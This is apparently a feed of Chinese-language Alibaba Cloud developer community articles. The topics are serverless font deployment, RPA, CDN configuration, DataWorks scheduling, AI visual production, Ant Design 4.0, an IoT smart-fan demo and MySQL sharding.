        ROSTemplateFormatVersion: '2015-09-01'
        Transform: 'Aliyun::Serverless-2018-04-03'
        Resources:
          fonts-service: # 服务名
            Type: 'Aliyun::Serverless::Service'
            Properties:
              Description: fonts example
            fonts-function: # 函数名
              Type: 'Aliyun::Serverless::Function'
              Properties:
                Handler: index.handler
                Runtime: nodejs8
                CodeUri: ./
                InstanceConcurrency: 10
              Events:
                http-test:
                  Type: HTTP
                  Properties:
                    AuthType: ANONYMOUS
                    Methods:
                      - GET
                      - POST
                      - PUT
        
          tmp_domain: # 临时域名
            Type: 'Aliyun::Serverless::CustomDomain'
            Properties:
              DomainName: Auto
              Protocol: HTTP
              RouteConfig:
                Routes:
                  /:
                    ServiceName: fonts-service
                    FunctionName: fonts-function

        template.yml 中定义了名为 fonts-service 的服务,此服务下定义一个名为 fonts-function 的 http trigger 函数。tmp_domain 中配置自定义域名中路径(/)与函数(fonts-service/fonts-function)的映射关系。

        1. 下载字体

        你可以通过这里下载自定义字体 Hack,然后将复制字体到 fonts 目录。
        此时 demo 目录结构如下:

        $ tree -L 2 -a
        
        ├── fonts(+)
        │   ├── Hack-Bold.ttf
        │   ├── Hack-BoldItalic.ttf
        │   ├── Hack-Italic.ttf
        │   └── Hack-Regular.ttf
        ├── index.js
        ├── package.json
        └── template.yml

        2. 安装依赖

        $ npm install

        3. 部署到函数计算

        可以通过 fun deploy 直接发布到远端。
        image.png

        4. 预览线上效果

        fun deploy 部署过程中,会为此函数生成有时效性的临时域名:
        image.png

        打开浏览器,输入临时域名并回车:

        image.png


        可以看到字体 Hack 已生效!!!

        原理介绍:

        1. fun deploy 时,如果检测到 CodeUri 下面有 fonts 目录,则为用户在 CodeUri 目录生成一个 .fonts.conf 配置文件。在该配置中,相比于原来的 /etc/fonts/fonts.conf 配置,添加了 /code/fonts 作为字体目录。
        2. 自动在 template.yml 中添加环境变量,FONTCONFIG_FILE = /code/.fonts.conf,这样在函数运行时就可以正确的读取到自定义字体目录。

        如果依赖过大,超过函数计算的限制(50M)则:

        1. 将 fonts 目录添加到 .nas.yml
        2. 将 fonts 对 nas 的映射目录追加到 .fonts.conf 配置

        fun deploy 对大依赖的支持可参考《开发函数计算的正确姿势——轻松解决大依赖部署》

        总结

        你只需要在代码(CodeUri)目录新建一个 fonts 目录,然后复制所有字体到该目录即可。Fun 会自动帮你处理配置文件(.fonts.conf),环境变量以及大依赖场景的情况。如果大家在使用 Fun 的过程中遇到了一些问题,可以在 github 上提 issue,或者加入我们的钉钉群 11721331 进行反馈。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        RPA没死,只是更专注于设计提供最高级体验的流程。-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 确切地说,什么是“死亡”,当涉及到过程软件和企业自动化时,什么是生命的迹象?

        “死亡”的RPA是定义不清的“RPA”,它被大肆炒作,为投资者带来刺激增长。但是准确的来说,其实它只是桌面自动化与pure-RPA(无人值守的后台办公室)的混合,目前市场上所有签署的协议都是“有人值守的”,所以甚至都不是“机器人”。

        RPA幸存下来的部分则是流程编排工具(发现、设计、自动化和挖掘),它们构成了像今天我们所看到的像“智能数字工作者”发展的一部分,这些“智能数字工作者”增强了人类的办公能力,并帮助实现了客户与员工之间真正的亲密关系。但是我们要知道,这些应用程序需要依靠企业级的兼容ITIL和安全因素。并且只有当业务设计和IT支持时,才会规模出现。因此未来的赢家必定是聪明的企业,因为他们通常在客户了解自己之前,就利用技术来预测客户的未来。

        距离上次宣布RPA“死亡”已经一年了,那以后又发生了什么?

        距离撰写RPA已死,谈RPA的新出路已经快一年了。2012年首次将RPA引入世界,就引起了不小的轰动。投资者、企业纷纷涌入这个市场,可是虚假的营销、过早的透支技术最后只可能演变成互联网泡沫。当大多数企业都还在埋头苦干试图找到这个市场的经济所在的时候,一批企业已经成功部署,超卖出了一大批license。

        许多优秀的人把他们的职业生涯押在了天花乱坠的宣传、虚假的希望和喧嚣的谎言上,他们仍然在就业市场上努力让自己的生活重回正轨。事实上,整个惨败几乎摧毁了这些工具可以帮助催化的真实市场。然而,这个市场变化很快,将来把很多产品在相同的“市场”试图变化成一个包含如此多的超过基本屏幕抓取,宏和流程循环记录是没有意义的。

        相反,我们需要专注于向智能数字劳动力的发展,帮助我们提供真正的客户和员工体验。

        没有死亡的事实是,RPA创造了一个通向正在发展的更大市场的路径或者说是对话,一旦你真正了解了公司领导的决策和业务流程,RPA就可以发挥出它强大的实力。RPA的发展是一个长期的过程,目前我们只处在马拉松的初期,他还有很长的、令人兴奋的未来可以期待。目前,我们仍有很多问题需要考虑:实现高度自动化、智能数字劳动力有哪些实际可行的方案,我们需要改变什么才可以达到这个目标?我们现在讨论智能数字劳动力是不是还为时尚早?我们是否可以研究一个管理型机器人有效的将旧的流程循环和应用程序连接在一起?以及企业该如何投资于帮助实现更多智能交互和体验的智能工作者? 我们能否专注于智能数字工作者,从我们设计的流程中传递(并学习)最优秀的经验,将我们的客户和员工聚集在一起?

        智能数字劳动力的出现是开发OneOffice体验的关键组成部分,RPA奠定了基础。

        这种向智能数字体验的转变是阿里云RPA的员工体验(EX)和客户体验(CX) OneOffice体验的一个基本元素。CX将越来越多地被认为是与整个组织(无论是客户、合作伙伴、员工还是任何其他实体)交互的经验的总称。前文化是指人们在一起工作,从事务性的互动转变为更深层次的关系。组织需要确保他们得到正确的平衡;这包括优化使用新兴技术和强大的业务案例,以提高CX的业务的长期利益,获得正确的信息流动,激发战略优势,并确保特殊的CX:
        image.png
        OneOffice体验代表了如何将客户、合作伙伴和员工的体验融合在一起,以驱动统一的思维方式、目标和业务成果。OneOffice将以客户为中心的体验通过我们过去称为前端和后台办公室的端到端流程进行设计和支持概念化。如今的RPA机器人在实质上已经嵌入“数字底线”,成为了构建企业基础处理层的一部分,而创造出更加智能的,可以增强人来办公能力的工具正是RPA未来的发展趋势。当今的软件供应商能够开发出超越当前静态工具的机器人,可是这些静态工具实际上只是保持旧进程的分块运行。智能数字劳动力正在成为一种使能技术,它正逐渐成为开发CX设计和交付经验的关键组成部分。

        HFS强调了使用智能数字工作者的五个重要原则,所有希望实现这些解决方案的公司都需要考虑这些原则:
        image.png
        最后:智能数字工作者是将客户和员工的体验联系起来以驱动统一的思维方式、目标和业务成果的强大工具。如果RPA供应商想要在市场中找到自己的优势,他们就需要达到这个目标。

        ]]>
        【CDN 常见问题】CDN 接入配置及常见问题-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:烨烁

        CDN 顺利接入线上系统的域名是每个客户头疼的问题,本文档通过详述 CDN 接入配置各步骤配置以及每部设置常遇到的疑惑点进行解惑,让客户可以将顺利迁移至 CDN 提供加速服务。

        产品文档参考:CDN开通产品文档

        一、配置流程及概念详解

        在正常开通 CDN 服务后即可进入控制台使用,按照产品文档流程,我们可以依次执行“添加加速域名”->“配置 CNAME 解析”两个步骤进行接入。下面我们就依次详述两个过程。

        在点击“添加域名”按钮后控制台将进入详细加速域名的配置页面,如图1所示。其中包括多项影响 CDN 使用情况的配置项,因此这些设置对于后续的 CDN 使用至关重要。下面我们队每项配置详细说明。
        image.png

        图 1. CDN 配置加速域名示意图

        1)加速域名:表示该域名即为 CDN 的加速域名,也就是说真正在业务系统中提供给线上客户使用的域名,后续所有需要 CDN 加速访问的资源即通过该域名对外提供服务。而不能使用一个“假想域名”配置。同时这里支持泛域名加速,如果用户有多个子域名源站为统一服务器 IP 希望能够同时设置时可以配置类似于 *.aliyun.com 的域名,这样即可对 aliyun.com 下的所有的二级域名提供加速服务。更多泛域名注意事项请参考:CDN泛域名注意事项
        “假想域名”。常有客户真正提供服务的域名是 www.aliyun.com,但是在这里添加的加速域名却是 cdn.aliyun.com ,那么后续业务系统中继续使用 www.aliyun.com 域名将不会起到 CDN 加速效果。
        泛域名范围。泛域名是有严格的范围限定的。举例来说,当配置加速域名为 .aliyun.com 时,该加速域名对应的是 aliyun.com 主域名下的所有二级域名。因此即该域名既不能给 aliyun.com 主域名提供服务,也不能给类似于 test2.test1.aliyun.com 这样的三级域名提供服务的。因此使用域名与该加速域名不相匹配是需要在创建对应的加速域名的。例如 aliyun.com 只可以设置主域名为加速域名,而test2.test1.aliyun.com 可以使用 .test1.aliyun.com 。

        2)业务类型 。现在CDN提供图片小文件、大文件下载、视音频点播、直播流媒体、移动加速和全站加速几种业务类型。业务类型一经设置将无法修改。用户可以根据自己的主要加速的资源和业务场景选择合适的业务类型。很多用户对自己需要选择的业务类型产生疑虑,这里对几种业务类型的区别做详细描述。
        首先 全站加速 即为动态加速,正常CDN主要通过缓存机制加速静态资源的GET请求,而对于动态请求CDN是不做加速的,这就导致对于动态站点或者大量POST请求的站点无法使用CDN,而全站加速即是针对于这类站点提供服务,其通过最优链路算法及协议层优化动态请求回源链路,实现快速回源获取最新数据。
        直播流媒体 表示该域名用来做直播业务,其接受rtmp协议的推流到视频中心,并提供过rtmp、flv和hls几种协议分别提供在线播放的功能,该业务类型除了常规CDN支持的http协议外还支持rtmp直播流协议。
        移动加速 是CDN推出的针对于移动应用的动静态全网加速产品,其也可以同时实现动静资源加速,相比于全站加速来讲本业务类型主要应用于Android或者IOS的APP上,并且其需要对APP做一定的改造以集成移动加速的SDK。
        剩下的三种业务类型( 图片小文件、大文件下载、视音频点播 )是很多客户困惑的点。这三种业务类型均是针对于静态资源的GET请求加速,这三种业务类型均可以对所有的静态文件实现加速功能(并不是图片小文件业务类型仅加速图片,其同样可以加速大文件或者视频;同时图片小文件以及大文件下载也可以使用视音频的拖拽播放功能),并且其缓存规则也是完全一致的;这三种业务类型主要CDN针对于不同类型的文件做了不同的TCP协议栈的优化策略。因此用户结合自己的业务场景的资源进行选择即可。如果主要资源为图片文件、样式文件、js文件等可以使用图片小文件类型、如果主要资源是apk包、程序安装文件等可以选择大文件下载类型,而如果主要资源是视频资源提供在线点播播放的话则可以使用视音频点播类型。

        3)源站类型和源站地址 :表示CDN回源到源站服务器的类型及其地址。现在支持IP、源站域名、OSS源站、直播中心服务器几种类型。下面我们详细对几种类型进行详细描述。
        IP,顾名思义即是源站服务器的IP。这里特别需要注意的是CDN的源站不管是在阿里云上的ECS、SLB等服务、其他的云服务提供商的服务还是IDC机房的物理机,其回源都是走的公网链路回源的。因此这里填写的IP必须是公网IP,否则将导致CDN回源出现5XX的错误。同时这里是可以设置源站为IP的,并且可以根据该IP对应服务器能够承载的压力设置其优先级。关于多源优先级的说明请参考多源优先级设置。这里需要特别注意的一点是当CDN设置为多源时,用户是需要自行保证每台服务器上对应的资源均是完整并且同步的。常有客户误解这里的多源表示我在主服务器上查找某资源发现不存在返回404的错误,然后CDN会自动去备服务器上查找该资源,CDN是不会进行该操作的。只要某一条服务器四层健康检查通过返回任何的状态码(2XX、3XX、4XX或者5XX)都会直接返回给客户端的。
        域名,表示解析在源站服务器上的域名。其在CDN上的作用是会将该域名解析为IP,然后按照与上述的IP回源一致到该服务器上获取资源。因此域名其实与IP基本类似,设置为域名的场景主要是用户的源站服务器IP经常会发生变动,而为了避免源站服务器IP变动导致CDN回源异常可以这里设置为域名,这样用户仅需要保证该域名可以正常解析即可,并不需要再修改CDN的配置。另外这里的域名仅仅是用来解析成IP的,源站服务器上如果有多个站点需要哪个站点提供服务并不是根据该设置决定的,而是根据回源host设置决定的。
        OSS域名,CDN加速OSS是常见的使用场景,其使用方法及常见问题请参考【 CDN 最佳实践】CDN 加速 OSS 常见问题及处理思路。如果需要回源到本账号中的OSS可以这里直接选择对应bucket的公网域名即可。但是如果需要回源到其他账号的bucket中的话是需要设置源站类型为域名,然后自行填写该bucket的公网域名。同时请注意OSS域名类型是不支持多源设置的。
        最后一种直播中心服务器是当选择直播流媒体业务类型系统自动配置的,并不需要用户自己配置。
        L1和L2节点网络。CDN的节点是分两层架构的(CDN架构请参考CDN基础架构),其中L1是靠近客户端的,会根据客户端的local dns分配就近的同一运营商的节点,因此L1节点是区分具体运营商的,而L2是靠近源站服务器端的节点,为了保证CDN回源不会受到网络隔离导致回源异常,因此CDN的L2的节点均是BGP网络类型的,用户上述配置的源站服务器是不需要担心自己的服务器是单线服务器导致CDN回源异常的。
        健康检查。在将服务器IP加在CDN上后,CDN是会定期做健康检查,主要包括四层的网络监察,因此用户的源站服务器日志可能会记录到CDN的健康检查的日志的。当设置为多源回源时当某台服务器健康检查失败即暂时不会回源到该服务器,而选择其他的服务器回源,避免由于源站单台服务器异常导致线上异常。

        4)端口 :表示CDN回源时与源站的哪个端口获取数据。CDN支持的回源端口包括80和443,分别对应HTTP协议和HTTPS协议。这里如果设置为443端口时用户是需要保证源站服务器对应端口的server是配置好SSL证书的。

        5)加速区域 :对于L3以上的客户是可以选择CDN的海外加速的,客户是可以根据自己的服务对象选择对应的CDN的加速区域,现在可以选择中国大陆、全球加速和港澳台及海外三种类型。如果这里选择的是中国大陆,那么该域名的调度节点是仅有中国大陆内的L1和L2节点。那么这个时候海外的客户也是会调度到大陆的节点,其访问就有可能受国际链路波动影响导致访问异常的。

        二、配置CNAME解析

        在配置完成CDN加速域名后用户即可得到对应的CNAME域名,如图2所示即是对应的CNAME域名。用户接下来即可配置加速域名对应的CNAME解析后即可。
        image.png

        图 2. CDN CNAME域名示意图

        详细的CNAME解析设置请参考CDN域名CNAME解析设置,这里需要特别注意的是主机记录必须与CDN添加的加速域名一致(泛域名需满足统一级别)。
        DNS解析限制同一个主机记录只能够保留一个A记录或者CNAME记录,否则添加将会导致冲突。因此想要添加CDN是需要删除之前解析到源站服务器的A记录并添加对应的CNAME记录,等TTL时间后才可以生效的。
        为了保证切换CDN后不影响业务,建议先通过绑定hosts的方式先本地测试添加CDN后正常再正式修改DNS记录。不同系统有不同绑定hosts的方法(例如Mac、linux系统中可以使用/etc/hosts文件设置)。具体设置方法步骤为:

        • ping CDN提供的CNAME地址得到CDN节点的IP,如图3所示。
          image.png

        图 3. CDN 节点IP获取示意图

        • 修改/etc/hosts文件将该域名设置解析到该IP上,如图4所示。
          image.png

        图 4. 绑定hosts配置示意图

        • 然后就可以在浏览器中实际访问测试是否正常。

        三、验证CDN生效情况

        在配置完成dns解析后可以通过多种方法验证CDN是否生效。包括以下三种方法:

        • 通过ping你所添加的加速域名,如果被转向.kunlun*.com的域名,即表示CDN功能已生效,如图5所示。
          image.png

        图 5. 通过ping验证解析生效示意图

        • 通过 nslookup或dig命令,可以查看相应的加速域名访问CDN节点的IP和延时丢包等基本信息。用户可以根据解析出来的IP在CDN的控制台上的IP检测工具查看是否为CDN节点的IP,是的话就说明CDN已生效:
          image.png

        图 6. CDN检查IP是否为CDN节点IP示意图

        • 用户也可以获取对应加速域名的资源的response头查看是否有CDN加速对应的节点信息来判断CDN是否生效,如图7所示,如果response头中包括Via、X-Cache等头就表明其已经CDN加速。
          image.png

        图 7. CDN查看response头示意图

        ]]>
        DataWorks百问百答08:如何进行任务调度执行、周期实例运行状况分析? Fri, 02 May 2025 09:39:04 +0800
        在datastidio数据开发界面中配置好任务并发布后,便可以在运维中心查看任务的依赖关系图示、实例的运行状态以及实例的上下游关系。打开运维中心,可以看到如下的界面:



        Q1:周期任务和周期实例是什么关系?
        A1:任务产生实例。任务(即数据开发中的"节点")是起源点,实例是根据任务以及任务配置情况定时生成的执行任务的载体(暂且这么理解)。
        注1:实例为固定时间一次性生成。 生成实例时间:当地时间23:30-24点(生成第二天的所有实例)
         
        Q2:实例生成方式( T+1次日生成/即时生成 )有什么区别?

        A2:T+1次日生成指的是实例生成延迟一天,例如今天下午5点发布的任务,选了T+1则今天夜里23:30生成明天的的实例,明天该任务可正常调度。
             立即生成指的是任务发布后立刻生成实例,比如说今天下午5点发布的任务,选了立即生成实例,那么发布后就能在运维中心--周期实例里面看到该实例了。
         
        注1:小时任务一次性生成第二天的所有实例(大多为24个),分钟级任务亦然。月、周调度每天生成一个,调度日执行,其他时间该实例为空跑
         
        注:为什么我的任务选了T+1生成实例第二天没有生成实例?为什么配置任务时选的即时生成实例但是实际并没有生成实例
        =》
        这是因为,发布任务的时间点和后台生成实例的时间点(23:30)冲突了。如果在该时段内发布任务,则影响该任务的实例的正常生成(任务实例会在第三天生成),发布任务时间尽量避过该时段。
         
        Q3:什么是空跑? 除了月/周任务,小时、分钟和天任务为什么会空跑?**



        A3:空跑即已经过了当日该实例的定时调度时间所造成的实例运行成功,执行时间为0且没有日志信息的情况
        举个栗子:小时任务,一天一次性生成24个实例,从0点到23点,这些实例是一次性生成的,但是,发布时间是当天14:40,那么14点40之前的这些实例都属于空跑调度,因为前面的时间都已经过去了,所以实例是空跑调度。而从15点开始,实例则会正常调度运行。
        分钟、天任务也是一样的道理,比如说定时时间是0点10分,但是实际任务发布时间是11点,那么这个节点当天的实例也会是空跑调度,因为0点10分的定时时间已过。第二天新实例会正常调度。
        周/月任务,由于是每天都会产生一个实例,那么如果周/月任务仍然有下游,为了不阻塞下游任务,在非调度时间里亦将其置位成功(空跑)状态以不阻塞下游任务运行。
         
        Q4:实例正常产生为什么没有调度运行起来?处于黄色/灰色状态?
        A4:实例运行状态主要分为四种:
        1.绿色==>正常运行结束(包括空跑) 
        2.红色==》出错 
        3.黄色==》等待(没到定时时间或没有等到执行资源)
        4.灰色==》未运行()
        需要注意的是,节点是否能运行由两个主要因素决定:
        1.该节点依赖的所有上游实例都已运行完毕。
        2.该节点的定时执行时间已经到达(如未到该实例指定的调度时间,则该实例处于黄色等待状态)。

        注:如果实例处于灰色未运行状态,请检查上游任务运行状况,是否有上游实例出错/未运行/等待,逐级排查。该问题一般都是由于上游未运行/阻塞导致的。
         
        Q5:任务延迟严重?
        A5:任务实例的实际运行时间是受上游影响的。比如说你依赖了10个上游任务,本节点定时时间是3月4号0点,但是上游的10个任务最晚的结束时间是3月5号11点,那么你的这个实例虽然定时执行的时间设定是3月4号0点,由于上游结束的晚该实例也会推迟到5号11点之后执行,等所有上有都运行完毕了才会开始运行。**
         

        DataWorks百问百答历史记录请点击查看

        采购季限时!原价2500元现仅需99元,3分钟入门DataWorks标准版6大场景!点击查看

        更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

        ]]>
        阿里云达摩院资深算法专家浅谈:视觉生产技术探索及应用 Fri, 02 May 2025 09:39:04 +0800   何为视觉生产?
          在介绍视觉生产之前我们需要给它进行定义,到底什么是视觉生产。简单来说视觉生产就是通过一个/一系列视觉过程,产出新的视觉表达。这里的产出是指人或机器能够感知的图像视频,而不是标签或者特征并且必须是新的视觉表达,和输入的不一样。在过去,这个过程大多数是由人工来实现,但是现在我们希望通过AI技术,来产生一系列新的图像,本篇文章主要介绍的也是这一过程。
          总体来说视觉生产是有分类的,主要分为以下几个分类:生成、拓展、摘要以及升维,生成就是从零到一从无到有的过程,拓展是指1到N的过程,摘要则是和拓展相反,是N到1的过程,将内容浓缩起来,把最主要的信息找出来。而升维就比较特殊,打个比方图像是2d的形式,但是如果加了时间轴就变成了动态的了,就变成了二维+t,这样就是从二维升到三维,这一过程称之为升维。除此以外对图片的增、删、改、查的过程也属于视觉生产范畴。这些视觉生产相关的内容其实我们也都有在做,也上线了一些产品,例如鹿班、alibabawood、画蝶,以及我们近期上线的视觉智能开放平台,这些产品都是聚焦在视觉生产上面的,后面也会跟大家详细介绍。
        图1.png

        图1

          另外视觉生产它也有一个基本的通用框架,具体内容可看图2,这里面要着重介绍的是视觉生产引擎部分,因为它是整个框架里面最为核心的部分。视觉生成引擎一般分成两大类,一种是生产引擎,基于相关模型去真正的生成一些内容,类似从无到有的一个过程。当然了,还有一种是搜索引擎,解决的思路就是我生产很困难,那么我去找到或者搜索到一个和我要求一致或者类似的素材然后在对他进行一定的改变,从而得到一个新的素材。对于产出的素材我们也会遵循一定的规范,一般会从可看、合理、多样、可控以及可用这几个维度去判断,其中是否可用是从能否为产品或者平台带来用户以及它的商业价值的角度进行判断。通过这5个维度能保证我们的视觉生产它可以有一个比较好的结果,或者说比较合理的一个结果。
        图2.png

        图2

          想要生产出一份优质的素材,首先你需要去精细的理解它,因为唯有理解才能生成。理解的阶段大致分为识别、检测以及分割,最终的目的是知道每一个像素是什么。做分割,事实上这也是学术界和工业界研究很久的任务,但事实上要想把它做好还是非常不容易的。因为分割的话,它会有复杂的背景、各种各样的遮挡关系以及某些特定场景下特别高的要求。所以在图片分割上我们进行了深入的研究并制定了相关的模型框架如图3所示,第一个步就是进行一个mask粗分割,然后我们对这些数据质量非常高标注效果非常好的进行一个精分割的网络,再将他们结合起来,这样做的好处是他能够像粗分割那样获取数据,并且结合精确的、细腻的高质量的数据得到一个结果,我们也将这个模型发表到CVPR2020上面,大家有兴趣可以去看看。
        图3.png

        图3

          视觉生成技术的应用
          那介绍完视觉生成技术,接下来我们给大家介绍3个视觉生成技术的应用案例。像文章开头时候说的鹿班(https://luban.aliyun.com)就是我们早些时候针对平面图像做的一个设计,也算是整个业界中第一个大规模落地的在线AI服务。除了鹿班类的平面图像生产外,针对视频我们同样制作了一款工具,名字叫做AlibabaWOOD(https://alibabawood.aliyun.com),它就专注于短视频的生成,目前也是一个云上的公共产品。详细的平台介绍可以点击产品官网链接进行查看。
        图4.png

        图4

          视频既然可以通过视觉生产去制作,我们也在思考通过视觉生产能否对现有的视频进行处理呢?答案是可以的。
          我这里举个例子,如图5红线框的位置它本来没有东西,但是为了达到广告投放效果又不影响观看者的观看体验,我们通过视觉生产的方式在视频中插入了一个广告,从而实广告和内容融合在一起。
        图5.png

        图5

          前面说了这么多视觉生产技术,其实我们已经将这些技术形成的算法沉淀在了统一的平台上。阿里云视觉智能开放平台(https://vision.aliyun.com)截止现在,这个平台已经上线了100+的AI算法,这些算命法主要是通过API的方式实现调用。平台目前处于公测期,所有的AI算法都是免费开放的,也欢迎广大开发者前来调用,创建更多有价值的产品和解决方案!
        图6.png

        图6

          以上内容只是星瞳此次分享的一部分,由于篇幅原因,其他内容就不在这里展示了,感兴趣的同学可以点击下方的视频链接进行观看。如果在观看期间有视觉相关的疑问,都可通过钉钉搜索23109592进群和我们沟通。
        直播回看链接:https://edu.csdn.net/course/play/28249/388355

        ]]>
        创造快乐工作的Ant Design 4.0 Fri, 02 May 2025 09:39:04 +0800 一个开源项目的成活,除了维护者的保持更新外,也需要来自社区的力量。开源界中,你会看到非常多的优秀项目。但是随着时间推移,逐渐不再维护。因而如何保持项目的活力是重中之重。2015 年,Ant Design 发布第一个版本,到现在时间过去整整 5 年了,第一代 Ant Designers 陆续退出舞台中心,第二代、第三代 Ant Designers 正在扛起大旗,如自然中的万事万物,有发展、有死亡、更有进化。

        Ant Design 是蚂蚁金服推出的一套企业级 UI 设计语言和 React 组件库,从 2015 年推出开始便受到广泛的关注与使用,目前在 GitHub 上已收获超过 5.7 万个 star。

        近日,Ant Design 发布了 4.0 版本,带来了重大更新,继续传承着 Ant Designer 的精神。这是两年多以来的首次发布的里程碑版本。新版本中进行了多项改进,包括:

        • 设计规范升级。增加了暗色主题和无边框组件。
        • 兼容性调整。最低支持IE 11,依赖的React最低版本升级到16.9。
        • 更小的尺寸。调整了图标使用API以支持tree shaking,并对相关依赖进行精简。
        • 组件重做。包括Table、Form、DatePicker等组件进行重做。

        Ant Design认为“每个人都追求快乐工作”,是全情投入的快乐,也是成长的快乐。因为每个人,都曾经有快乐工作的经历。只要让挑战持续匹配技能,就能创造连续的快乐工作。如果我们想要一个快乐的人生,那么快乐工作,对我们每个人都意义重大。基于“每个人都追求快乐工作”的追求,Ant Design从用户和设计者的角度去带着产品和服务让其感受快感和乐趣。让每个 Ant Designer 都有一颗心,一张图,打好一场仗。

        此时的 Ant Design ,已经远不止是一个 UI 组件库。而是可视化资产(AntV)、插画资产(海兔),以及体验设计、增长设计、品牌设计等各种策略;同时,在可预见的未来,也将会涉及工业设计、运营设计等工作范畴。

        新版Ant Design 4.0的整体设计思路是什么?在图表自动生成的用法和原理上又有哪些突破?4月2日,走进阿里云云栖号在线课堂,蚂蚁金服数据技术专家王嘉喆和高级体验设计师徐海豪将针对以上问题进行详细介绍。扫描下方二维码即可进入直播间~

        ]]>
        使用米芯智能模块快速、低成本、标准化接入阿里云生活物联网(飞燕)开发生活类智能家电 Fri, 02 May 2025 09:39:04 +0800 1.写在开头

        智能这个词在家电领域用的很多,大家肯定不陌生。很多所谓的智能家电大部分指内置单片机控制的家电。 而本文要说的智能家电指接入物联网云端,通过云端可以与手机端、AI音箱端互通信息的家电。 阅读本文您会发现实用米芯智能模块开发智能家电会如此简单。

        为了更好的阅读本文,您需要基本了解阿里生活物联网及平台操作。因涉及内容比较多,本文只简述重点。

        2.米芯智能模块介绍

        米芯智能模块是米芯信息团队专为电子、单片机工程师使用而设计,不仅仅是一个硬件模块而是一种设备硬件接入阿里云生活物联网的解决方案。米芯智能模块基于米芯框架开发,内置米芯固件,支持米芯串口通讯协议。米芯智能模块大大降低了设备接入云端的复杂度。
        了解详情 点击这里

        3.实战案例

        下面通过开发一个智能 电风扇 demo 作为案例。
        使用米芯智能模块快速开发物联网智能电风扇。实现 电风扇(设备)接入阿里云生活物联网(飞燕)。手机APP、天猫精灵音箱与电风扇联动及控制。

        3.1 物料清单

        • 普通电风扇 1台
        • demo控制板 1块
        • 米芯智能模块 1个
        • 安卓智能手机 1个
        • 天猫精灵音箱 1个

        3.2 设备端开发

        我们使用一把普通的电风扇作为原型机,在此基础上开发一个智能电风扇的demo。
        普通电风扇功能:开关、3个风速档位;

        1400015786.jpg

        3.2.1 更换电风扇控制板

        普通电风扇内置的控制板需要替换为demo控制板。

        808930180.jpg
        demo控制板有3个继电器 正好可以实现 3个风速档位的控制(即对应普通电风扇的电机的3个输入)

        2011533227.jpg
        将原控制板连接的电缆拔出插入demo控制板对应插座上。
        电缆连接后的样子如下:
        1873054452.jpg
        (亮灯的为按键板,代替原电风扇上面的操作按键)
        我们手上的这块demo控制板上面有一个4P串口插座并且控制板上的8位单片机已经对接好米芯串口通讯协议。
        将米芯智能模块串口与demo控制板串口电缆连接。
        1966423224.jpg

        至此demo设备端已经开发好;

        3.3 云端开发

        阿里云生活物联网(飞燕)是在阿里云IoT基础(laaS)上搭建的PaaS,我们只需要在PaaS上定义不同的产品、参数即可使用。

        3.1 创建产品

        20200401112922.jpg

        注意: 数据格式选择 “透传/自定义”, 后面有用。

        3.1 功能定义

        根据demo设备的功能,定义 “电源开关”、“风速” 属性, 其他的属性不需要。
        20200401113317.jpg

        3.2 数据解析脚本

        米芯模块的设备功能会透传到云端,在云端数据解析转为标准的alink协议。
        数据解析脚本有米芯工具根据产品功能定义自动生成。
        20200401115324.jpg

        3.3 人机交互设置

        在阿里云生活物联网平台提供的模板的基础上,我们根据demo的功能制作控制面板。
        20200401115951.jpg

        至此云端开发完成。

        4 手机APP

        对于智能电风扇demo,云平台提供的公版APP已经基本满足需求。 我们直接使用公版APP作为手机控制端及设备配网使用。

        产品没发布前,调试阶段需要使用 开发板APP。

        4.2 设备进入配网模式

        长按按键板上的配网键,使米芯模块进入配网模式

        控制板上的MCU向米芯模块发送重置配网指令:55 AA 01 04 00 00 04

        4.1 通过手机APP给设备配网

        公版APP扫描 刚才创建的产品的配网二维码,按提示完成配网。

        4.2 手机APP控制设备:

        配网成功,设备成功连接到云端后,即可通过手机APP控制demo设备。
        707862060 (1).jpg

        5 天猫精灵控制

        生活网平台的电风扇品类已经与天猫精灵云平台打通。因此可以直接使用天猫精灵音箱语音指令控制demo。

        057501015E8429FA5A50FC941E6B1803.jpg

        我拍了一个天猫精灵控制电风扇demo的视频并上传到了优酷。
        视频地址

        6 写在最后

        因篇幅及文笔水平有限,本文的文字和图片可能存在错误之处还请读者多包涵。
        欢迎一起探讨学习家电物联网智能化;

        481682353 (2).jpg

        ]]>
        MySQL:互联网公司常用分库分表方案汇总 Fri, 02 May 2025 09:39:04 +0800 来源:cnblogs.com/littlecharacter/p/9342129.html

        一、数据库瓶颈

        不管是IO瓶颈,还是CPU瓶颈,最终都会导致数据库的活跃连接数增加,进而逼近甚至达到数据库可承载活跃连接数的阈值。在业务Service来看就是,可用数据库连接少甚至无连接可用。接下来就可以想象了吧(并发量、吞吐量、崩溃)。

        1、IO瓶颈

        第一种:磁盘读IO瓶颈,热点数据太多,数据库缓存放不下,每次查询时会产生大量的IO,降低查询速度 -> 分库和垂直分表。

        第二种:网络IO瓶颈,请求的数据太多,网络带宽不够 -> 分库。

        2、CPU瓶颈

        第一种:SQL问题,如SQL中包含join,group by,order by,非索引字段条件查询等,增加CPU运算的操作 -> SQL优化,建立合适的索引,在业务Service层进行业务计算。

        第二种:单表数据量太大,查询时扫描的行太多,SQL效率低,CPU率先出现瓶颈 -> 水平分表。

        二、分库分表

        1、水平分库

        image.png

        概念:以字段为依据,按照一定策略(hash、range等),将一个库中的数据拆分到多个库中。

        结果:

        • 每个库的结构都一样;
        • 每个库的数据都不一样,没有交集;
        • 所有库的并集是全量数据;

        场景:系统绝对并发量上来了,分表难以根本上解决问题,并且还没有明显的业务归属来垂直分库。

        分析:库多了,io和cpu的压力自然可以成倍缓解。

        2、水平分表

        image.png

        概念:以字段为依据,按照一定策略(hash、range等),将一个表中的数据拆分到多个表中。

        结果:

        • 每个表的结构都一样;
        • 每个表的数据都不一样,没有交集;
        • 所有表的并集是全量数据;

        场景:系统绝对并发量并没有上来,只是单表的数据量太多,影响了SQL效率,加重了CPU负担,以至于成为瓶颈。推荐:一次SQL查询优化原理分析

        分析:表的数据量少了,单次SQL执行效率高,自然减轻了CPU的负担。

        3、垂直分库

        image.png

        概念:以表为依据,按照业务归属不同,将不同的表拆分到不同的库中。

        结果:

        • 每个库的结构都不一样;
        • 每个库的数据也不一样,没有交集;
        • 所有库的并集是全量数据;

